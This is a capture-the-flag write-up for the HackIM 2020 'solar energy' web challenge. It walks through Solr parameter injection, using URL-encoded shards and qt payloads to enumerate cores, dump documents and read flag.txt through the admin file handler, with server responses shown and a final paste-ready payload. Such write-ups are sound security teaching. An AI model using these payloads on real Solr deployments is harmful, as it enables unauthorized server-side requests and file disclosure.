Rating: 5.0

# solar energy
* ## Reference
To under this attack,I recommand to read docuemnt and article below.
[solr document about searcing](https://lucene.apache.org/solr/guide/6_6/searching.html)
[white papaer about solr parameter injection](https://github.com/veracode-research/solr-injection)
[Distributed Search with Index Sharding
](https://lucene.apache.org/solr/guide/6_6/distributed-search-with-index-sharding.html)
[SOLR Search Request Handlers explained
](http://www.typo3-media.com/blog/solr-search-request-handlers.html)
[CoreAdmin API](https://lucene.apache.org/solr/guide/6_6/coreadmin-api.html#CoreAdminAPI-STATUS)
[json request api](https://lucene.apache.org/solr/guide/7_1/json-request-api.html)
[Implicit RequestHandlers
](https://lucene.apache.org/solr/guide/7_7/implicit-requesthandlers.html)
* ## Observation

I didn't figure out what should I do during CTF,so after the CTF ,I do lots of research on it.
First of all,this application have ```solr parameter injection``` vulnerability discovered by [Michael Stepankin](https://www.youtube.com/watch?v=xf2E64o4hWc).

How to test it?I test it by this two payload.

The first one is just a single curly bracket,and server will respond error message. It means that the server does not sanitize this kind of meaningful character. ({,},^,!," and so on)
```bash
#single curly bracket
{

#reponse
{
"error":{
"metadata":[
"error-class",
"org.apache.solr.common.SolrException",
"root-error-class",
"org.apache.solr.parser.ParseException"
],
"msg":"org.apache.solr.search.SyntaxError: Cannot parse '{': Encountered \"<EOF>\" at line 1, column 1.\nWas expecting one of:\n \"TO\" ...\n <RANGE_QUOTED> ...\n <RANGE_GOOP> ...\n ",
"code":400
}
}

```
The second payload tell us that I can inject parameter into url since server does not encode it before sending it to solr REST API,and this will lead to ```SSRF```
```bash
#urlencode "*&fl=name,id&ident=true"
#(It's necessary to encode it or it won't work)
%2A%26fl%3Dname%2Cid%26ident%3Dtrue

#response
{
"response":{
"numFound":14,
"start":0,
"docs":[
{
"id":"978-0641723445",
"name":[
"The Lightning Thief"
]
},
{
"id":"978-1423103349",
"name":[
"The Sea of Monsters"
]
},
{
"id":"978-1857995879",
"name":[
"Sophie's World : The Greek Philosophers"
]
},
{
"id":"978-1933988177",
"name":[
"Lucene in Action, Second Edition"
]
},
{
"id":"0553573403",
"name":[
"A Game of Thrones"
]
},
{
"id":"0553579908",
"name":[
"A Clash of Kings"
]
},
{
"id":"055357342X",
"name":[
"A Storm of Swords"
]
},
{
"id":"0553293354",
"name":[
"Foundation"
]
},
{
"id":"0812521390",
"name":[
"The Black Company"
]
},
{
"id":"0812550706",
"name":[
"Ender's Game"
]
}
]
}
}
```

Now,we can just easily copy the payload from the talk,right=)?The answer is NO.Since attacks that present in the slide need ```core name``` like ```/solr/core_name/select``` ,but unfortunately,we don't even know a single core's name. So we have to figure out a way to get the core's names.
After reading document of solr,I found a way in this [page](https://lucene.apache.org/solr/guide/6_6/coreadmin-api.html#CoreAdminAPI-STATUS) that may get some useful information.We can try to smuggle a ```admin/cores?action=STATUS&core=core-name``` to get all core's names.
```bash
#we have to encode "?action=STATUS&core=core-name&wt=json" first so that special character
#such as '&'(considered as AND in url) will be considered as normal character,and then encode the whole
#paramet search "exploit&shards=http://localhost:8983/solr&qt=/admin/cores%3Faction%3DSTATUS%26wt%3Djson"

exploit%26shards%3Dhttp%3A%2F%2Flocalhost%3A8983%2Fsolr%26qt%3D%2Fadmin%2Fcores%253Faction%253DSTATUS%2526wt%253Djson

#response
{
"error":{
"metadata":[
"error-class",
"org.apache.solr.client.solrj.impl.BaseHttpSolrClient$RemoteSolrException",
"root-error-class",
"org.apache.solr.client.solrj.impl.BaseHttpSolrClient$RemoteSolrException"
],
"msg":"Error from server at null: Expected mime type application\/octet-stream but got application\/json. {\n \"responseHeader\":{\n \"status\":0,\n \"QTime\":31},\n \"initFailures\":{},\n \"status\":{\n \"SeCrEtSeArCh8888\":{\n \"name\":\"SeCrEtSeArCh8888\",\n \"instanceDir\":\"\/var\/solr\/data\/SeCrEtSeArCh8888\",\n \"dataDir\":\"\/var\/solr\/data\/SeCrEtSeArCh8888\/data\/\",\n \"config\":\"solrconfig.xml\",\n \"schema\":\"managed-schema\",\n \"startTime\":\"2020-02-18T06:24:09.341Z\",\n \"uptime\":30678069,\n \"index\":{\n \"numDocs\":1,\n \"maxDoc\":1,\n \"deletedDocs\":0,\n \"indexHeapUsageBytes\":-1,\n \"version\":6,\n \"segmentCount\":1,\n \"current\":true,\n \"hasDeletions\":false,\n \"directory\":\"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@\/var\/solr\/data\/SeCrEtSeArCh8888\/data\/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@3ecb4b26; maxCacheMB=48.0 maxMergeSizeMB=4.0)\",\n \"segmentsFile\":\"segments_2\",\n \"segmentsFileSizeInBytes\":203,\n \"userData\":{\n \"commitCommandVer\":\"1658854612756594688\",\n \"commitTimeMSec\":\"1582007038839\"},\n \"lastModified\":\"2020-02-18T06:23:58.839Z\",\n \"sizeInBytes\":3036,\n \"size\":\"2.96 KB\"}},\n \"hackimsearch\":{\n \"name\":\"hackimsearch\",\n \"instanceDir\":\"\/var\/solr\/data\/hackimsearch\",\n \"dataDir\":\"\/var\/solr\/data\/hackimsearch\/data\/\",\n \"config\":\"solrconfig.xml\",\n \"schema\":\"managed-schema\",\n \"startTime\":\"2020-02-18T06:24:09.341Z\",\n \"uptime\":30678091,\n \"index\":{\n \"numDocs\":14,\n \"maxDoc\":14,\n \"deletedDocs\":0,\n \"indexHeapUsageBytes\":-1,\n \"version\":10,\n \"segmentCount\":2,\n \"current\":true,\n \"hasDeletions\":false,\n \"directory\":\"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@\/var\/solr\/data\/hackimsearch\/data\/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@3ecb4b26; maxCacheMB=48.0 maxMergeSizeMB=4.0)\",\n \"segmentsFile\":\"segments_3\",\n \"segmentsFileSizeInBytes\":268,\n \"userData\":{\n \"commitCommandVer\":\"1658854611871596544\",\n \"commitTimeMSec\":\"1582007037994\"},\n \"lastModified\":\"2020-02-18T06:23:57.994Z\",\n \"sizeInBytes\":13656,\n \"size\":\"13.34 KB\"}}}}\n",
"code":200
}
}

```
Why would the error occur??This is because we specify our response as json type,but```org.apache.solr.client.solrj``` can't parse ```application/json```. and this is a kind of error-based technique.(```Expected mime type application/octet-stream but got application/json```
)

Extract the most important part and look into it and we got two core's names which is ```hackimsearch``` and ```SeCrEtSeArCh8888``` and their attribute.
```json
{
"responseHeader":{
"status":0,
"QTime":31},
"initFailures":{},
"status":{
"SeCrEtSeArCh8888":{
"name":"SeCrEtSeArCh8888",
"instanceDir":"/var/solr/data/SeCrEtSeArCh8888",
"dataDir":"/var/solr/data/SeCrEtSeArCh8888/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2020-02-18T06:24:09.341Z",
"uptime":30678069,
"index":{
"numDocs":1,
"maxDoc":1,
"deletedDocs":0,
"indexHeapUsageBytes":-1,
"version":6,
"segmentCount":1,
"current":true,
"hasDeletions":false,
"directory":"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@/var/solr/data/SeCrEtSeArCh8888/data/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@3ecb4b26; maxCacheMB=48.0 maxMergeSizeMB=4.0)",
"segmentsFile":"segments_2",
"segmentsFileSizeInBytes":203,
"userData":{
"commitCommandVer":"1658854612756594688",
"commitTimeMSec":"1582007038839"},
"lastModified":"2020-02-18T06:23:58.839Z",
"sizeInBytes":3036,
"size":"2.96 KB"}},
"hackimsearch":{
"name":"hackimsearch",
"instanceDir":"/var/solr/data/hackimsearch",
"dataDir":"/var/solr/data/hackimsearch/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2020-02-18T06:24:09.341Z",
"uptime":30678091,
"index":{
"numDocs":14,
"maxDoc":14,
"deletedDocs":0,
"indexHeapUsageBytes":-1,
"version":10,
"segmentCount":2,
"current":true,
"hasDeletions":false,
"directory":"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@/var/solr/data/hackimsearch/data/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@3ecb4b26; maxCacheMB=48.0 maxMergeSizeMB=4.0)",
"segmentsFile":"segments_3",
"segmentsFileSizeInBytes":268,
"userData":{
"commitCommandVer":"1658854611871596544",
"commitTimeMSec":"1582007037994"},
"lastModified":"2020-02-18T06:23:57.994Z",
"sizeInBytes":13656,
"size":"13.34 KB"}}}}
",
"code":200
}

```
Our next step is try to dump doucments in ```SeCrEtSeArCh8888``` and it is easy to achieve this by using ```select``` and ```q=*``` to get all content.

```bash
#encode "exploit&shards=http://localhost:8983/solr&qt=/SeCrEtSeArCh8888/select%3Fq%3D%2A"

exploit%26shards%3Dhttp%3A%2F%2Flocalhost%3A8983%2Fsolr%26qt%3D%2FSeCrEtSeArCh8888%2Fselect%253Fq%253D%252A

#response
{"response":{"numFound":1,"start":0,"maxScore":1,"docs":[{"id":"secret","flag":["Great job but flag is not here. Maybe you should hit the filesystem"],"_version_":1658854612744011776}]}}
```
```json
{
"response":{
"numFound":1,
"start":0,
"maxScore":1,
"docs":[
{
"id":"secret",
"flag":[
"Great job but flag is not here. Maybe you should hit the filesystem"
],
"_version_":1658854612744011776
}
]
}
}
```
What a bad news =(. We still can't get flag.But at least we know that we need to achieve file reading.Time to read more documents lol.

After looking around document which is according with solr api,and I found [ShowFileRequestHandler](https://lucene.apache.org/solr/7_7_0//solr-core/org/apache/solr/handler/admin/ShowFileRequestHandler.html) in [implicit requesthandlers](https://lucene.apache.org/solr/guide/7_7/implicit-requesthandlers.html) with may be our key to get the flag!!
```bash
#encode "exploit&shards=http://localhost:8983/solr&qt=/SeCrEtSeArCh8888/admin/file%3Fwt%3Dtext"

exploit%26shards%3Dhttp%3A%2F%2Flocalhost%3A8983%2Fsolr%26qt%3D%2FSeCrEtSeArCh8888%2Fadmin%2Ffile%253Fwt%253Dtext

#response
{"error":{"metadata":["error-class","org.apache.solr.client.solrj.impl.BaseHttpSolrClient$RemoteSolrException","root-error-class","org.apache.solr.client.solrj.impl.BaseHttpSolrClient$RemoteSolrException"],"msg":"Error from server at null: Expected mime type application\/octet-stream but got application\/json. {\n \"responseHeader\":{\n \"status\":0,\n \"QTime\":1},\n \"files\":{\n \"lang\":{\n \"directory\":true,\n \"modified\":\"2020-02-18T06:23:38.940Z\"},\n \"stopwords.txt\":{\n \"size\":781,\n \"modified\":\"2020-02-18T06:23:38.940Z\"},\n \"protwords.txt\":{\n \"size\":873,\n \"modified\":\"2020-02-18T06:23:38.940Z\"},\n \"flag.txt\":{\n \"size\":50,\n \"modified\":\"2020-02-18T06:23:38.944Z\"},\n \"managed-schema\":{\n \"size\":30770,\n \"modified\":\"2020-02-18T06:23:58.810Z\"},\n \"solrconfig.xml\":{\n \"size\":49058,\n \"modified\":\"2020-02-18T06:23:38.940Z\"},\n \"synonyms.txt\":{\n \"size\":1124,\n \"modified\":\"2020-02-18T06:23:38.940Z\"}}}\n","code":200}}
```
By Using same error-based techique above,we can get list of file under ```config``` directory(without parameter ```file``` it will list all file by default ).
```json
files":{
"lang":{
"directory":true,
"modified":"2020-02-18T06:23:38.940Z"},
"stopwords.txt":{
"size":781,
"modified":"2020-02-18T06:23:38.940Z"},
"protwords.txt":{
"size":873,
"modified":"2020-02-18T06:23:38.940Z"},
"flag.txt":{
"size":50,
"modified":"2020-02-18T06:23:38.944Z"},
"managed-schema":{
"size":30770,
"modified":"2020-02-18T06:23:58.810Z"},
"solrconfig.xml":{
"size":49058,
"modified":"2020-02-18T06:23:38.940Z"},
"synonyms.txt":{
"size":1124,
"modified":"2020-02-18T06:23:38.940Z"}}}

```
Let's read our flag now!(Don't forget the ```contantType``` to specify the type of the file or ```org.apache.http.ParseException: Invalid content type: ``` will occur since contentType is null )
```bash
#encode "exploit&shards=http://localhost:8983/solr&qt=/SeCrEtSeArCh8888/admin/file%3Ffile%3Dflag.txt%26contentType%3Dplain%2Ftext%26wt%3Djson"

exploit%26shards%3Dhttp%3A%2F%2Flocalhost%3A8983%2Fsolr%26qt%3D%2FSeCrEtSeArCh8888%2Fadmin%2Ffile%253Ffile%253Dflag.txt%2526contentType%253Dplain%252Ftext%2526wt%253Djson

#response
{"error":{"metadata":["error-class","org.apache.solr.client.solrj.impl.BaseHttpSolrClient$RemoteSolrException","root-error-class","org.apache.solr.client.solrj.impl.BaseHttpSolrClient$RemoteSolrException"],"msg":"Error from server at null: Expected mime type application\/octet-stream but got plain\/text. hackim20{Content_Mismatch_helps_you_all_the_Time}\n","code":200}}

```
```json
hackim20{Content_Mismatch_helps_you_all_the_Time}
```
* ## Solution
```bash
#paste payload below into input fielf
exploit%26shards%3Dhttp%3A%2F%2Flocalhost%3A8983%2Fsolr%26qt%3D%2FSeCrEtSeArCh8888%2Fadmin%2Ffile%253Ffile%253Dflag.txt%2526contentType%253Dplain%252Ftext%2526wt%253Djson
```

* ## Flag
```
hackim20{Content_Mismatch_helps_you_all_the_Time}
```

Original writeup (https://github.com/xiaobye-ctf/CTF-writeups/blob/master/hackim-2020/web/solar%20energy/solar%20energy.md).